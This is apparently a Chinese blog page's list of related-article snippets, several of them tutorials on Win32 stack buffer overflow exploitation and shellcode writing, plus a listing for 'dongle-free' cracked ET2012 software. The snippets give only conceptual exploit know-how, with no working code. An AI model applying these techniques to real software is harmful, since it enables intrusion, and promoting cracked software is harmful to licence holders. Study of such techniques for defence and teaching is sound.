近年来,大语言模型(Large Language Models,LLMs)在自然语言处理领域取得了突破性进展。从GPT-3到ChatGPT,再到最新的GPT-4,这些模型展现出了惊人的语言理解和生成能力,引发了学术界和产业界的广泛关注。然而,训练如此庞大的模型不仅需要海量的数据和计算资源,还需要复杂的工程实践和优化技巧。本文将深入探讨大语言模型的原理,并以7B参数规模的模型为例,详细介绍如何构建一个自动化训练框架,使读者能够亲自动手训练自己的大语言模型。

AI天才研究院 1924

Win32漏洞分析与利用 栈缓冲区溢出实验总结

栈溢出 如果程序在处理用户数据时,未能对其大小进行恰当的限制,在进行复制、填充时没对这些数据限定边界,攻击者就可以通过精心设计的数据进行溢出覆盖,修改内存中数据、改变程序的执行流程。 在栈溢出漏洞中,最经典的是借助跳板的栈溢出方式。 左图是一个正常的栈,从高到低依次是:父函数的栈空间、作为返回地址的EIP、保存下来的栈指针EBP、若干局部变量和用于被攻击的缓冲区。 现有的C语言中许多标准函数(如strcpy)在现在看来已经不再是安全的了,利用strcpy讲数据复制到局部数组缓冲区时可以超过缓冲区区域,覆盖

Tracy_yi的博客 1763

OpenCV实战之人脸美颜美型(八)——大眼(上)

从大众审美的角度来看,眼睛适当的“变大”会让人显得更加年轻。因此美型中就有一项大眼功能,其效果就是让眼睛适当变大,这章内容就围绕着大眼算法展开。

On my way 1211

霍尼韦尔SoftMaster使用说明

霍尼韦尔SoftMaster使用说明

逆向工程日记之缓冲区溢出的利用-ShellCode编写

缓冲区溢出的利用-ShellCode编写前言实验前提所需基础缓冲区溢出原理简单介绍概要ShellCode介绍实验开始get_jmp.exe的运行结果对text2.exe进行逆向分析。 前言 Hello,各位广大的网友们好。笔者为大二在校大学生,软件学院。为践行费曼学习法,并在前辈的建议下开始写自己的一系列博客,之前用一篇文章大概的诠释了缓冲区溢出的基本原理,本文将以此为基础进行缓冲区溢出利用的研究...

wixinbibiu123的博客 1098

ET2012新版免狗免安装绿色软件

ET2012新版免狗免安祖昂绿色软件。,新界面,新视觉,

缓冲区溢出技术原理与实践

1.win32实例汇编代码 .386 .model flat,stdcall option casemap:none include windows.inc include user32.inc includelib user32.lib include kernel32.inc includelib kernel32.lib ;数据段 ....

paradox_1_0的博客 439

VB摄像头监控

该VB模块可对摄像头捕获的画面进行录像等,可在创建的窗口进行控制

数学建模模型总结

这是本人在两年内准备参加数学建模竞赛搜集到的模型资料,已经经过了本人的筛选和整理,希望能够对准备参加数学建模竞赛的学弟学妹们提供一些帮助!

缓冲区溢出---栈

缓冲区溢出 “正义与邪恶共存,邪恶推动正义的进步,正义迫使邪恶的升华,两者谁是谁非。是非只是它人的定义,两者都是正确的” 在我们调试程序的时候,我们如何去掉调试窗口中的CCCC的内容。 第一步: 打开项目属性------>c/c++----->代码生成-------->基本运行时检查设置为“未初始化的变量”------->\ 安全检查“否” 第二步: 打开项目属性------>连接器

93Storm 974

c++堆栈溢出怎么解决_跟小黑学漏洞利用开发之简单的缓冲区溢出

本文章,我们将研究如何在Win32系统上利用缓冲区漏洞,完成我们的Windows漏洞利用开发,从最基础的开发开始,特别说明本篇文章中暂时不涉及DEP和ALSR等漏洞利用让技术,相关技术以后文章在专门介绍了解此类。本篇主要是给各位跟我一样喜欢漏洞利用开发的同(样爱)好,做一个开篇引导,对于某些同好可能是ta进入这个领域的第一个Exploit Dev。准备WindowsXP—Sp3(目标机)...

weixin_39574708的博客 872

Win32远程栈溢出挖掘

缓冲区溢出攻击很容易被攻击者利用,因为C/C++语言并没有自动检测缓冲区溢出操作,同时程序编写人员在编写代码时也很难始终检查缓冲区是否可能溢出.利用溢出,攻击者可以将期望数据写入漏洞程序内存中的任意位置,甚至包括控制程序执行流的关键数据(比如函数调用后的返回地址),从而控制程序的执行过程并实施恶意行为. 该笔记用于帮助读者理解远程缓冲区溢出的挖掘,以及编写漏洞利用程序片段,下面在进行实验前,读...

weixin_30924239的博客 188
上一篇: 删除无法删除的dll文件方法(转至黑基)(XP用的少所以里面的东西我没怎么研究)
下一篇: 无组件上传控件
freexploit
博客等级 码龄22年 315粉丝 778原创
评论
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付:10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值